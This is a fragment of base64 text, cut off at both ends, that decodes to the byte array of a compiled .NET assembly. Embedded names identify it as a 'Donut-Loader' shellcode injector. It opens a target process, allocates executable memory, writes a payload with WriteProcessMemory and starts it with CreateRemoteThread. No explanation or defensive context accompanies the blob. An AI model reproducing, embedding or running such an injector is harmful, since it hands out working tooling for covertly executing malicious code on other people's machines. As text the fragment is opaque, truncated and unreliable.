CAwLCAwLCAxMCwgMTExLCAxOSwgMCwgMCwgMTAsIDEyOCwgMTIsIDAsIDAsIDQsIDQyLCAzMCwgMiwgNDAsIDI1LCAwLCAwLCAxMCwgNDIsIDY2LCA4MywgNzQsIDY2LCAxLCAwLCAxLCAwLCAwLCAwLCAwLCAwLCAxMiwgMCwgMCwgMCwgMTE4LCA1MiwgNDYsIDQ4LCA0NiwgNTEsIDQ4LCA1MSwgNDksIDU3LCAwLCAwLCAwLCAwLCA1LCAwLCAxMDgsIDAsIDAsIDAsIDUyLCA0LCAwLCAwLCAzNSwgMTI2LCAwLCAwLCAxNjAsIDQsIDAsIDAsIDk2LCA1LCAwLCAwLCAzNSwgODMsIDExNiwgMTE0LCAxMDUsIDExMCwgMTAzLCAxMTUsIDAsIDAsIDAsIDAsIDAsIDEwLCAwLCAwLCA0LCAwLCAwLCAwLCAzNSwgODUsIDgzLCAwLCA0LCAxMCwgMCwgMCwgMTYsIDAsIDAsIDAsIDM1LCA3MSwgODUsIDczLCA2OCwgMCwgMCwgMCwgMjAsIDEwLCAwLCAwLCAxMjQsIDEsIDAsIDAsIDM1LCA2NiwgMTA4LCAxMTEsIDk4LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAyLCAwLCAwLCAxLCA4NywgMjksIDIsIDIwLCA5LCAwLCAwLCAwLCAwLCAyNTAsIDM3LCA1MSwgMCwgMjIsIDAsIDAsIDEsIDAsIDAsIDAsIDIyLCAwLCAwLCAwLCAyLCAwLCAwLCAwLCAxMiwgMCwgMCwgMCwgMTIsIDAsIDAsIDAsIDMwLCAwLCAwLCAwLCAyNSwgMCwgMCwgMCwgOSwgMCwgMCwgMCwgMTIsIDAsIDAsIDAsIDMsIDAsIDAsIDAsIDIsIDAsIDAsIDAsIDcsIDAsIDAsIDAsIDEsIDAsIDAsIDAsIDIsIDAsIDAsIDAsIDAsIDAsIDEwLCAwLCAxLCAwLCAwLCAwLCAwLCAwLCA2LCAwLCA2NSwgMCwgNTgsIDAsIDEwLCAwLCAxMzMsIDEsIDExNCwgMSwgNiwgMCwgMTA1LCAyLCA3NCwgMiwgNiwgMCwgMiwgMywgMjMyLCAyLCA2LCAwLCA0NSwgMywgMjcsIDMsIDYsIDAsIDY4LCAzLCAyNywgMywgNiwgMCwgOTcsIDMsIDI3LCAzLCA2LCAwLCAxMjgsIDMsIDI3LCAzLCA2LCAwLCAxNTMsIDMsIDI3LCAzLCA2LCAwLCAxNzgsIDMsIDI3LCAzLCA2LCAwLCAyMDUsIDMsIDI3LCAzLCA2LCAwLCAyMzIsIDMsIDI3LCAzLCA2LCAwLCAxLCA0LCA3NCwgMiwgNiwgMCwgMjEsIDQsIDI3LCAzLCA2LCAwLCA0NiwgNCwgMTE0LCAxLCA2MywgMCwgNjYsIDQsIDAsIDAsIDYsIDAsIDExMywgNCwgODEsIDQsIDYsIDAsIDE0NSwgNCwgODEsIDQsIDYsIDAsIDE4OCwgNCwgNTgsIDAsIDYsIDAsIDIwNCwgNCwgNzQsIDIsIDYsIDAsIDExLCA1LCA1OCwgMCwgNiwgMCwgNDYsIDUsIDU4LCAwLCAwLCAwLCAwLCAwLCAxLCAwLCAwLCAwLCAwLCAwLCAxLCAwLCAxLCAwLCAxLCAwLCAxNiwgMCwgMjcsIDAsIDM1LCAwLCA1LCAwLCAxLCAwLCAxLCAwLCA4MSwgMTI4LCA3MiwgMCwgMTAsIDAsIDgxLCAxMjgsIDk0LCAwLCAxMCwgMCwgODEsIDEyOCwgMTIwLCAwLCAxMCwgMCwgODEsIDEyOCwgMTQxLCAwLCAxMCwgMCwgODEsIDEyOCwgMTU4LCAwLCAxMCwgMCwgODEsIDEyOCwgMTc0LCAwLCAzOCwgMCwgODEsIDEyOCwgMTg1LCAwLCAzOCwgMCwgODEsIDEyOCwgMTk3LCAwLCAzOCwgMCwgODEsIDEyOCwgMjEyLCAwLCAzOCwgMCwgMTcsIDAsIDIzNSwgMCwgNjEsIDAsIDE3LCAwLCAyMzksIDAsIDYxLCAwLCAxNywgMCwgMjQzLCAwLCAxMCwgMCwgODAsIDMyLCAwLCAwLCAwLCAwLCAxNTAsIDAsIDI0NywgMCwgNjQsIDAsIDEsIDAsIDAsIDAsIDAsIDAsIDEyOCwgMCwgMTUwLCAzMiwgMjUyLCAwLCA3MCwgMCwgMiwgMCwgMCwgMCwgMCwgMCwgMTI4LCAwLCAxNTAsIDMyLCA4LCAxLCA3NywgMCwgNSwgMCwgMCwgMCwgMCwgMCwgMTI4LCAwLCAxNDUsIDMyLCAyNCwgMSwgODIsIDAsIDYsIDAsIDAsIDAsIDAsIDAsIDEyOCwgMCwgMTQ1LCAzMiwgMzksIDEsIDg4LCAwLCA4LCAwLCAwLCAwLCAwLCAwLCAxMjgsIDAsIDE0NSwgMzIsIDU0LCAxLCA5NywgMCwgMTMsIDAsIDAsIDAsIDAsIDAsIDEyOCwgMCwgMTQ1LCAzMiwgNzMsIDEsIDEwOCwgMCwgMTgsIDAsIDE1NiwgMzIsIDAsIDAsIDAsIDAsIDE1MCwgMCwgOTIsIDEsIDExOSwgMCwgMjUsIDAsIDAsIDAsIDAsIDAsIDEyOCwgMCwgMTUwLCAzMiwgOTksIDEsIDEyNiwgMCwgMjgsIDAsIDUyLCAzMywgMCwgMCwgMCwgMCwgMTUwLCAwLCA5OSwgMSwgMTMzLCAwLCAzMCwgMCwgMTI0LCAzMywgMCwgMCwgMCwgMCwgMTM0LCAyNCwgMTQxLCAxLCAxMzksIDAsIDMxLCAwLCA4NywgMzMsIDAsIDAsIDAsIDAsIDE0NSwgMjQsIDY5LCA1LCAyMTksIDAsIDMxLCAwLCAwLCAwLCAxLCAwLCAxNDcsIDEsIDAsIDAsIDEsIDAsIDE1MiwgMSwgMCwgMCwgMiwgMCwgMTY4LCAxLCAwLCAwLCAzLCAwLCAxODMsIDEsIDAsIDAsIDEsIDAsIDE5NSwgMSwgMCwgMCwgMSwgMCwgMjA4LCAxLCAwLCAwLCAyLCAwLCAyMTYsIDEsIDAsIDAsIDEsIDAsIDIyNSwgMSwgMCwgMCwgMiwgMCwgMjM0LCAxLCAwLCAwLCAzLCAwLCAyNDQsIDEsIDAsIDAsIDQsIDAsIDI1MSwgMSwgMCwgMCwgNSwgMCwgMTIsIDIsIDAsIDAsIDEsIDAsIDIyNSwgMSwgMCwgMCwgMiwgMCwgMjIsIDIsIDAsIDAsIDMsIDAsIDM2LCAyLCAwLCAwLCA0LCAwLCA0NSwgMiwgMiwgMCwgNSwgMCwgNTEsIDIsIDAsIDAsIDEsIDAsIDIyNSwgMSwgMCwgMCwgMiwgMCwgMTE4LCAyLCAwLCAwLCAzLCAwLCAxMzcsIDIsIDAsIDAsIDQsIDAsIDE0OSwgMiwgMCwgMCwgNSwgMCwgMTY0LCAyLCAwLCAwLCA2LCAwLCAxNzYsIDIsIDAsIDAsIDcsIDAsIDE5MiwgMiwgMCwgMCwgMSwgMCwgMjM5LCAwLCAwLCAwLCAyLCAwLCAyMzUsIDAsIDAsIDAsIDMsIDAsIDIwMywgMiwgMCwgMCwgMSwgMCwgMjI1LCAxLCAyLCAwLCAyLCAwLCAyMTEsIDIsIDAsIDAsIDEsIDAsIDIyNCwgMiwgMjUsIDAsIDE0MSwgMSwgMTM5LCAwLCAzMywgMCwgMTQxLCAxLCAxNDMsIDAsIDQxLCAwLCAxNDEsIDEsIDE0MywgMCwgNDksIDAsIDE0MSwgMSwgMTQzLCAwLCA1NywgMCwgMTQxLCAxLCAxNDMsIDAsIDY1LCAwLCAxNDEsIDEsIDE0MywgMCwgNzMsIDAsIDE0MSwgMSwgMTQzLCAwLCA4MSwgMCwgMTQxLCAxLCAxNDMsIDAsIDg5LCAwLCAxNDEsIDEsIDE0MywgMCwgOTcsIDAsIDE0MSwgMSwgMTQzLCAwLCAxMDUsIDAsIDE0MSwgMSwgMTQ4LCAwLCAxMTMsIDAsIDE0MSwgMSwgMTQzLCAwLCAxMjEsIDAsIDE0MSwgMSwgMTUzLCAwLCAxMzcsIDAsIDE0MSwgMSwgMTU5LCAwLCAxNDUsIDAsIDE0MSwgMSwgMTM5LCAwLCAxNTMsIDAsIDE5NiwgNCwgMTY0LCAwLCAxNjEsIDAsIDE0MSwgMSwgMTQzLCAwLCAxNywgMCwgMjQ1LCA0LCAxNzMsIDAsIDE3LCAwLCA0LCA1LCAxNzksIDAsIDE2OSwgMCwgMTksIDUsIDE4MywgMCwgMTUzLCAwLCAyOSwgNSwgMTg4LCAwLCAxNzcsIDAsIDUzLCA1LCAxOTQsIDAsIDE3LCAwLCA1OCwgNSwgMjEwLCAwLCAxNywgMCwgNzYsIDUsIDIyMywgMCwgOSwgMCwgMTQxLCAxLCAxMzksIDAsIDgsIDAsIDQsIDAsIDEzLCAwLCA4LCAwLCA4LCAwLCAxOCwgMCwgOCwgMCwgMTIsIDAsIDIzLCAwLCA4LCAwLCAxNiwgMCwgMjgsIDAsIDgsIDAsIDIwLCAwLCAzMywgMCwgOSwgMCwgMjQsIDAsIDQxLCAwLCA5LCAwLCAyOCwgMCwgNDYsIDAsIDksIDAsIDMyLCAwLCA1MSwgMCwgOSwgMCwgMzYsIDAsIDU2LCAwLCA0NiwgMCwgMTksIDAsIDIyOCwgMCwgNDYsIDAsIDI3LCAwLCAyOCwgMSwgNDYsIDAsIDM1LCAwLCA0NiwgMSwgNDYsIDAsIDQzLCAwLCA0NiwgMSwgNDYsIDAsIDUxLCAwLCA0NiwgMSwgNDYsIDAsIDU5LCAwLCAyOCwgMSwgNDYsIDAsIDY3LCAwLCA1MiwgMSwgNDYsIDAsIDc1LCAwLCA0NiwgMSwgNDYsIDAsIDkxLCAwLCA0NiwgMSwgNDYsIDAsIDEwNywgMCwgNzIsIDEsIDQ2LCAwLCAxMTUsIDAsIDgxLCAxLCA0NiwgMCwgMTIzLCAwLCA5MCwgMSwgMTY5LCAwLCAxOTcsIDAsIDIxNCwgMCwgMjIzLCA0LCAyMzYsIDQsIDAsIDEsIDUsIDAsIDI1MiwgMCwgMSwgMCwgNiwgMSwgNywgMCwgOCwgMSwgMSwgMCwgNjcsIDEsIDksIDAsIDI0LCAxLCAyLCAwLCA2NSwgMSwgMTEsIDAsIDM5LCAxLCAxLCAwLCA2NCwgMSwgMTMsIDAsIDU0LCAxLCAxLCAwLCAwLCAxLCAxNSwgMCwgNzMsIDEsIDEsIDAsIDAsIDEsIDE5LCAwLCA5OSwgMSwgMSwgMCwgNCwgMTI4LCAwLCAwLCAxLCAwLCAwLCAwLCAzOSwgMjgsIDI4LCA4MCwgMCwgMCwgMCwgMCwgMCwgMCwgMTc1LCA0LCAwLCAwLCA0LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAxLCAwLCA0OSwgMCwgMCwgMCwgMCwgMCwgNCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMSwgMCwgNTgsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDYwLCA3NywgMTExLCAxMDAsIDExNywgMTA4LCAxMDEsIDYyLCAwLCA2OCwgMTExLCAxMTAsIDExNywgMTE2LCA0NSwgNzYsIDExMSwgOTcsIDEwMCwgMTAxLCAxMTQsIDQ2LCAxMDAsIDEwOCwgMTA4LCAwLCA4MCwgMTE0LCAxMTEsIDEwMywgMTE0LCA5NywgMTA5LCAwLCA4MywgMTA0LCAxMDEsIDEwOCwgMTA4LCA5OSwgMTExLCAxMDAsIDEwMSwgODQsIDEwMSwgMTE1LCAxMTYsIDAsIDEwOSwgMTE1LCA5OSwgMTExLCAxMTQsIDEwOCwgMTA1LCA5OCwgMCwgODMsIDEyMSwgMTE1LCAxMTYsIDEwMSwgMTA5LCAwLCA3OSwgOTgsIDEwNiwgMTAxLCA5OSwgMTE2LCAwLCA4MCwgODIsIDc5LCA2NywgNjksIDgzLCA4MywgOTUsIDY3LCA4MiwgNjksIDY1LCA4NCwgNjksIDk1LCA4NCwgNzIsIDgyLCA2OSwgNjUsIDY4LCAwLCA4MCwgODIsIDc5LCA2NywgNjksIDgzLCA4MywgOTUsIDgxLCA4NSwgNjksIDgyLCA4OSwgOTUsIDczLCA3OCwgNzAsIDc5LCA4MiwgNzcsIDY1LCA4NCwgNzMsIDc5LCA3OCwgMCwgODAsIDgyLCA3OSwgNjcsIDY5LCA4MywgODMsIDk1LCA4NiwgNzcsIDk1LCA3OSwgODAsIDY5LCA4MiwgNjUsIDg0LCA3MywgNzksIDc4LCAwLCA4MCwgODIsIDc5LCA2NywgNjksIDgzLCA4MywgOTUsIDg2LCA3NywgOTUsIDg3LCA4MiwgNzMsIDg0LCA2OSwgMCwgODAsIDgyLCA3OSwgNjcsIDY5LCA4MywgODMsIDk1LCA4NiwgNzcsIDk1LCA4MiwgNjksIDY1LCA2OCwgMCwgNzcsIDY5LCA3NywgOTUsIDY3LCA3OSwgNzcsIDc3LCA3MywgODQsIDAsIDc3LCA2OSwgNzcsIDk1LCA4MiwgNjksIDgzLCA2OSwgODIsIDg2LCA2OSwgMCwgODAsIDY1LCA3MSwgNjksIDk1LCA4MiwgNjksIDY1LCA2OCwgODcsIDgyLCA3MywgODQsIDY5LCAwLCA4MCwgNjUsIDcxLCA2OSwgOTUsIDY5LCA4OCwgNjksIDY3LCA4NSwgODQsIDY5LCA5NSwgODIsIDY5LCA2NSwgNjgsIDg3LCA4MiwgNzMsIDg0LCA2OSwgMCwgMTIwLCA1NCwgNTIsIDAsIDEyMCwgNTYsIDU0LCAwLCAxMTIsIDEwNSwgMTAwLCAwLCA3NywgOTcsIDEwNSwgMTEwLCAwLCA3OSwgMTEyLCAxMDEsIDExMCwgODAsIDExNCwgMTExLCA5OSwgMTAxLCAxMTUsIDExNSwgMCwgNzEsIDEwMSwgMTE2LCA3NywgMTExLCAxMDAsIDExNywgMTA4LCAxMDEsIDcyLCA5NywgMTEwLCAxMDAsIDEwOCwgMTAxLCAwLCA3MSwgMTAxLCAxMTYsIDgwLCAxMTQsIDExMSwgOTksIDY1LCAxMDAsIDEwMCwgMTE0LCAxMDEsIDExNSwgMTE1LCAwLCA4NiwgMTA1LCAxMTQsIDExNiwgMTE3LCA5NywgMTA4LCA2NSwgMTA4LCAxMDgsIDExMSwgOTksIDY5LCAxMjAsIDAsIDg3LCAxMTQsIDEwNSwgMTE2LCAxMDEsIDgwLCAxMTQsIDExMSwgOTksIDEwMSwgMTE1LCAxMTUsIDc3LCAxMDEsIDEwOSwgMTExLCAxMTQsIDEyMSwgMCwgNjcsIDExNCwgMTAxLCA5NywgMTE2LCAxMDEsIDgyLCAxMDEsIDEwOSwgMTExLCAxMTYsIDEwMSwgODQsIDEwNCwgMTE0LCAxMDEsIDk3LCAxMDAsIDAsIDczLCAxMTAsIDEwNiwgMTAxLCA5OSwgMTE2LCAwLCA3MywgMTE1LCA4NywgMTExLCAxMTksIDU0LCA1MiwgODAsIDExNCwgMTExLCA5OSwgMTAxLCAxMTUsIDExNSwgMCwgODMsIDEyMSwgMTE1LCAxMTYsIDEwMSwgMTA5LCA0NiwgNjgsIDEwNSwgOTcsIDEwMywgMTEwLCAxMTEsIDExNSwgMTE2LCAxMDUsIDk5LCAxMTUsIDAsIDgwLCAxMTQsIDExMSwgOTksIDEwMSwgMTE1LCAxMTUsIDAsIDQ2LCA5OSwgMTE2LCAxMTEsIDExNCwgMCwgOTcsIDExNCwgMTAzLCAxMTUsIDAsIDEwMCwgMTE5LCA2OCwgMTAxLCAxMTUsIDEwNSwgMTE0LCAxMDEsIDEwMCwgNjUsIDk5LCA5OSwgMTAxLCAxMTUsIDExNSwgMCwgOTgsIDczLCAxMTAsIDEwNCwgMTAxLCAxMTQsIDEwNSwgMTE2LCA3MiwgOTcsIDExMCwgMTAwLCAxMDgsIDEwMSwgMCwgMTAwLCAxMTksIDgwLCAxMTQsIDExMSwgOTksIDEwMSwgMTE1LCAxMTUsIDczLCAxMDAsIDAsIDEwOCwgMTEyLCA3NywgMTExLCAxMDAsIDExNywgMTA4LCAxMDEsIDc4LCA5NywgMTA5LCAxMDEsIDAsIDEwNCwgNzcsIDExMSwgMTAwLCAxMTcsIDEwOCwgMTAxLCAwLCAxMTIsIDExNCwgMTExLCA5OSwgNzgsIDk3LCAxMDksIDEwMSwgMCwgMTA0LCA4MCwgMTE0LCAxMTEsIDk5LCAxMDEsIDExNSwgMTE1LCAwLCAxMDgsIDExMiwgNjUsIDEwMCwgMTAwLCAxMTQsIDEwMSwgMTE1LCAxMTUsIDAsIDEwMCwgMTE5LCA4MywgMTA1LCAxMjIsIDEwMSwgMCwgMTAyLCAxMDgsIDY1LCAxMDgsIDEwOCwgMTExLCA5OSwgOTcsIDExNiwgMTA1LCAxMTEsIDExMCwgODQsIDEyMSwgMTEyLCAxMDEsIDAsIDEwMiwgMTA4LCA4MCwgMTE0LCAxMTEsIDExNiwgMTAxLCA5OSwgMTE2LCAwLCAxMDgsIDExMiwgNjYsIDk3LCAxMTUsIDEwMSwgNjUsIDEwMCwgMTAwLCAxMTQsIDEwMSwgMTE1LCAxMTUsIDAsIDEwOCwgMTEyLCA2NiwgMTE3LCAxMDIsIDEwMiwgMTAxLCAxMTQsIDAsIDExMCwgODMsIDEwNSwgMTIyLCAxMDEsIDAsIDEwOCwgMTEyLCA3OCwgMTE3LCAxMDksIDk4LCAxMDEsIDExNCwgNzksIDEwMiwgNjYsIDEyMSwgMTE2LCAxMDEsIDExNSwgODcsIDExNCwgMTA1LCAxMTYsIDExNiwgMTAxLCAxMTAsIDAsIDgzLCAxMjEsIDExNSwgMTE2LCAxMDEsIDEwOSwgNDYsIDgyLCAxMTcsIDExMCwgMTE2LCAxMDUsIDEwOSwgMTAxLCA0NiwgNzMsIDExMCwgMTE2LCAxMDEsIDExNCwgMTExLCAxMTIsIDgzLCAxMDEsIDExNCwgMTE4LCAxMDUsIDk5LCAxMDEsIDExNSwgMCwgNzksIDExNywgMTE2LCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgMTA4LCAxMTIsIDg0LCAxMDQsIDExNCwgMTAxLCA5NywgMTAwLCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMTE1LCAwLCAxMDAsIDExOSwgODMsIDExNiwgOTcsIDk5LCAxMDcsIDgzLCAxMDUsIDEyMiwgMTAxLCAwLCAxMDgsIDExMiwgODMsIDExNiwgOTcsIDExNCwgMTE2LCA2NSwgMTAwLCAxMDAsIDExNCwgMTAxLCAxMTUsIDExNSwgMCwgMTA4LCAxMTIsIDgwLCA5NywgMTE0LCA5NywgMTA5LCAxMDEsIDExNiwgMTAxLCAxMTQsIDAsIDEwMCwgMTE5LCA2NywgMTE0LCAxMDEsIDk3LCAxMTYsIDEwNSwgMTExLCAxMTAsIDcwLCAxMDgsIDk3LCAxMDMsIDExNSwgMCwgMTA4LCAxMTIsIDg0LCAxMDQsIDExNCwgMTAxLCA5NywgMTAwLCA3MywgMTAwLCAwLCAxMTIsIDExNCwgMTExLCA5OSwgODAsIDczLCA2OCwgMCwgMTA4LCAxMTIsIDgzLCAxMjEsIDExNSwgMTE2LCAxMDEsIDEwOSwgNzMsIDExMCwgMTAyLCAxMTEsIDAsIDExMiwgMTE0LCAxMTEsIDk5LCAxMDEsIDExNSwgMTE1LCAwLCA4MywgMTIxLCAxMTUsIDExNiwgMTAxLCAxMDksIDQ2LCA4MiwgMTE3LCAxMTAsIDExNiwgMTA1LCAxMDksIDEwMSwgNDYsIDg2LCAxMDEsIDExNCwgMTE1LCAxMDUsIDExMSwgMTEwLCAxMDUsIDExMCwgMTAzLCAwLCA4NCwgOTcsIDExNCwgMTAzLCAxMDEsIDExNiwgNzAsIDExNCwgOTcsIDEwOSwgMTAxLCAxMTksIDExMSwgMTE0LCAxMDcsIDY1LCAxMTYsIDExNiwgMTE0LCAxMDUsIDk4LCAxMTcsIDExNiwgMTAxLCAwLCA4MywgMTIxLCAxMTUsIDExNiwgMTAxLCAxMDksIDQ2LCA4MiwgMTAxLCAxMDIsIDEwOCwgMTAxLCA5OSwgMTE2LCAxMDUsIDExMSwgMTEwLCAwLCA2NSwgMTE1LCAxMTUsIDEwMSwgMTA5LCA5OCwgMTA4LCAxMjEsIDg0LCAxMDUsIDExNiwgMTA4LCAxMDEsIDY1LCAxMTYsIDExNiwgMTE0LCAxMDUsIDk4LCAxMTcsIDExNiwgMTAxLCAwLCA2NSwgMTE1LCAxMTUsIDEwMSwgMTA5LCA5OCwgMTA4LCAxMjEsIDY4LCAxMDEsIDExNSwgOTksIDExNCwgMTA1LCAxMTIsIDExNiwgMTA1LCAxMTEsIDExMCwgNjUsIDExNiwgMTE2LCAxMTQsIDEwNSwgOTgsIDExNywgMTE2LCAxMDEsIDAsIDY1LCAxMTUsIDExNSwgMTAxLCAxMDksIDk4LCAxMDgsIDEyMSwgNjcsIDExMSwgMTEwLCAxMDIsIDEwNSwgMTAzLCAxMTcsIDExNCwgOTcsIDExNiwgMTA1LCAxMTEsIDExMCwgNjUsIDExNiwgMTE2LCAxMTQsIDEwNSwgOTgsIDExNywgMTE2LCAxMDEsIDAsIDY1LCAxMTUsIDExNSwgMTAxLCAxMDksIDk4LCAxMDgsIDEyMSwgNjcsIDExMSwgMTA5LCAxMTIsIDk3LCAxMTAsIDEyMSwgNjUsIDExNiwgMTE2LCAxMTQsIDEwNSwgOTgsIDExNywgMTE2LCAxMDEsIDAsIDY1LCAxMTUsIDExNSwgMTAxLCAxMDksIDk4LCAxMDgsIDEyMSwgODAsIDExNCwgMTExLCAxMDAsIDExNywgOTksIDExNiwgNjUsIDExNiwgMTE2LCAxMTQsIDEwNSwgOTgsIDExNywgMTE2LCAxMDEsIDAsIDY1LCAxMTUsIDExNSwgMTAxLCAxMDksIDk4LCAxMDgsIDEyMSwgNjcsIDExMSwgMTEyLCAxMjEsIDExNCwgMTA1LCAxMDMsIDEwNCwgMTE2LCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgNjUsIDExNSwgMTE1LCAxMDEsIDEwOSwgOTgsIDEwOCwgMTIxLCA4NCwgMTE0LCA5NywgMTAwLCAxMDEsIDEwOSwgOTcsIDExNCwgMTA3LCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgNjUsIDExNSwgMTE1LCAxMDEsIDEwOSwgOTgsIDEwOCwgMTIxLCA2NywgMTE3LCAxMDgsIDExNiwgMTE3LCAxMTQsIDEwMSwgNjUsIDExNiwgMTE2LCAxMTQsIDEwNSwgOTgsIDExNywgMTE2LCAxMDEsIDAsIDY3LCAxMTEsIDEwOSwgODYsIDEwNSwgMTE1LCAxMDUsIDk4LCAxMDgsIDEwMSwgNjUsIDExNiwgMTE2LCAxMTQsIDEwNSwgOTgsIDExNywgMTE2LCAxMDEsIDAsIDY1LCAxMTUsIDExNSwgMTAxLCAxMDksIDk4LCAxMDgsIDEyMSwgODYsIDEwMSwgMTE0LCAxMTUsIDEwNSwgMTExLCAxMTAsIDY1LCAxMTYsIDExNiwgMTE0LCAxMDUsIDk4LCAxMTcsIDExNiwgMTAxLCAwLCA2OCwgMTAxLCA5OCwgMTE3LCAxMDMsIDEwMywgOTcsIDk4LCAxMDgsIDEwMSwgNjUsIDExNiwgMTE2LCAxMTQsIDEwNSwgOTgsIDExNywgMTE2LCAxMDEsIDAsIDY4LCAxMDEsIDk4LCAxMTcsIDEwMywgMTAzLCAxMDUsIDExMCwgMTAzLCA3NywgMTExLCAxMDAsIDEwMSwgMTE1LCAwLCA4MywgMTIxLCAxMTUsIDExNiwgMTAxLCAxMDksIDQ2LCA4MiwgMTE3LCAxMTAsIDExNiwgMTA1LCAxMDksIDEwMSwgNDYsIDY3LCAxMTEsIDEwOSwgMTEyLCAxMDUsIDEwOCwgMTAxLCAxMTQsIDgzLCAxMDEsIDExNCwgMTE4LCAxMDUsIDk5LCAxMDEsIDExNSwgMCwgNjcsIDExMSwgMTA5LCAxMTIsIDEwNSwgMTA4LCA5NywgMTE2LCAxMDUsIDExMSwgMTEwLCA4MiwgMTAxLCAxMDgsIDk3LCAxMjAsIDk3LCAxMTYsIDEwNSwgMTExLCAxMTAsIDExNSwgNjUsIDExNiwgMTE2LCAxMTQsIDEwNSwgOTgsIDExNywgMTE2LCAxMDEsIDAsIDgyLCAxMTcsIDExMCwgMTE2LCAxMDUsIDEwOSwgMTAxLCA2NywgMTExLCAxMDksIDExMiwgOTcsIDExNiwgMTA1LCA5OCwgMTA1LCAxMDgsIDEwNSwgMTE2LCAxMjEsIDY1LCAxMTYsIDExNiwgMTE0LCAxMDUsIDk4LCAxMTcsIDExNiwgMTAxLCAwLCA2OCwgMTExLCAxMTAsIDExNywgMTE2LCA0NSwgNzYsIDExMSwgOTcsIDEwMCwgMTAxLCAxMTQsIDAsIDY3LCAxMTEsIDExMCwgMTE4LCAxMDEsIDExNCwgMTE2LCAwLCA4NCwgMTExLCA3MywgMTEwLCAxMTYsIDUxLCA1MCwgMCwgNjgsIDEwOCwgMTA4LCA3MywgMTA5LCAxMTIsIDExMSwgMTE0LCAxMTYsIDY1LCAxMTYsIDExNiwgMTE0LCAxMDUsIDk4LCAxMTcsIDExNiwgMTAxLCAwLCAxMDcsIDEwMSwgMTE0LCAxMTAsIDEwMSwgMTA4LCA1MSwgNTAsIDQ2LCAxMDAsIDEwOCwgMTA4LCAwLCAxMDcsIDEwMSwgMTE0LCAxMTAsIDEwMSwgMTA4LCA1MSwgNTAsIDAsIDcxLCAxMDEsIDExNiwgODAsIDExNCwgMTExLCA5OSwgMTAxLCAxMTUsIDExNSwgNjYsIDEyMSwgNzMsIDEwMCwgMCwgMTAzLCAxMDEsIDExNiwgOTUsIDczLCAxMDAsIDAsIDY3LCAxMTEsIDExMCwgMTE1LCAxMTEsIDEwOCwgMTAxLCAwLCA4NywgMTE0LCAxMDUsIDExNiwgMTAxLCA3NiwgMTA1LCAxMTAsIDEwMSwgMCwgNzAsIDExNCwgMTExLCAxMDksIDY2LCA5NywgMTE1LCAxMDEsIDU0LCA1MiwgODMsIDExNiwgMTE0LCAxMDUsIDExMCwgMTAzLCAwLCA3MywgMTEwLCAxMTYsIDgwLCAxMTYsIDExNCwgMCwgOTAsIDEwMSwgMTE0LCAxMTEsIDAsIDEwMywgMTAxLCAxMTYsIDk1LCA3MiwgOTcsIDExMCwgMTAwLCAxMDgsIDEwMSwgMCwgNDYsIDk5LCA5OSwgMTE2LCAxMTEsIDExNCwgMCwgNzEsIDEwMSwgMTE2LCA2NywgMTE3LCAxMTQsIDExNCwgMTAxLCAxMTAsIDExNiwgODAsIDExNCwgMTExLCA5OSwgMTAxLCAxMTUsIDExNSwgMCwgMCwgMCwgMCwgMSwgMCwgMCwgNTMsIDE4MCwgMTUxLCA1OCwgMTA2LCA0NiwgMTIsIDc0LCAxNDgsIDEzMCwgNiwgMTQsIDE4MCwgNDgsIDYzLCAyMzAsIDAsIDgsIDE4MywgMTIyLCA5MiwgODYsIDI1LCA1MiwgMjI0LCAxMzcsIDIsIDYsIDgsIDQsIDIsIDAsIDAsIDAsIDQsIDAsIDQsIDAsIDAsIDQsIDgsIDAsIDAsIDAsIDQsIDMyLCAwLCAwLCAwLCA0LCAxNiwgMCwgMCwgMCwgMiwgNiwgOSwgNCwgMCwgMTYsIDAsIDAsIDQsIDAsIDMyLCAwLCAwLCA0LCA0LCAwLCAwLCAwLCA0LCA2NCwgMCwgMCwgMCwgMiwgNiwgMTQsIDUsIDAsIDEsIDEsIDI5LCAxNCwgNiwgMCwgMywgMjQsIDgsIDIsIDgsIDQsIDAsIDEsIDI0LCAxNCwgNSwgMCwgMiwgMjQsIDI0LCAxNCwgOCwgMCwgNSwgMjQsIDI0LCAyNCwgOSwgOSwgOSwgMTAsIDAsIDUsIDIsIDI0LCAyNCwgMjksIDUsIDksIDE2LCAyNSwgMTAsIDAsIDcsIDI0LCAyNCwgMjQsIDksIDI0LCAyNCwgOSwgMjQsIDYsIDAsIDMsIDgsIDE0LCAxNCwgOCwgNiwgMCwgMiwgMiwgMjQsIDE2LCAyLCA1LCAwLCAxLCAyLCAxOCwgOSwgMywgMzIsIDAsIDEsIDQsIDMyLCAxLCAxLCAxNCwgNCwgMzIsIDEsIDEsIDIsIDUsIDMyLCAxLCAxLCAxNywgNjUsIDQsIDMyLCAxLCAxLCA4LCA0LCAwLCAxLCA4LCAxNCwgMywgNywgMSwgMiwgNSwgMCwgMSwgMTgsIDksIDgsIDMsIDMyLCAwLCA4LCA0LCAwLCAxLCAxLCA4LCA1LCAwLCAxLCAyOSwgNSwgMTQsIDIsIDYsIDI0LCAxMiwgNywgOCwgMTgsIDksIDE0LCAyOSwgNSwgMjQsIDI0LCAyNSwgOCwgMiwgMywgMzIsIDAsIDI0LCA0LCA3LCAyLCAyLCAyLCAzLCAwLCAwLCAxLCA0LCAwLCAwLCAxOCwgOSwgNTUsIDEsIDAsIDI2LCA0NiwgNzgsIDY5LCA4NCwgNzAsIDExNCwgOTcsIDEwOSwgMTAxLCAxMTksIDExMSwgMTE0LCAxMDcsIDQ0LCA4NiwgMTAxLCAxMTQsIDExNSwgMTA1LCAxMTEsIDExMCwgNjEsIDExOCwgNTIsIDQ2LCA1MywgMSwgMCwgODQsIDE0LCAyMCwgNzAsIDExNCwgOTcsIDEwOSwgMTAxLCAxMTksIDExMSwgMTE0LCAxMDcsIDY4LCAxMDUsIDExNSwgMTEyLCAxMDgsIDk3LCAxMjEsIDc4LCA5NywgMTA5LCAxMDEsIDAsIDE3LCAxLCAwLCAxMiwgNjgsIDE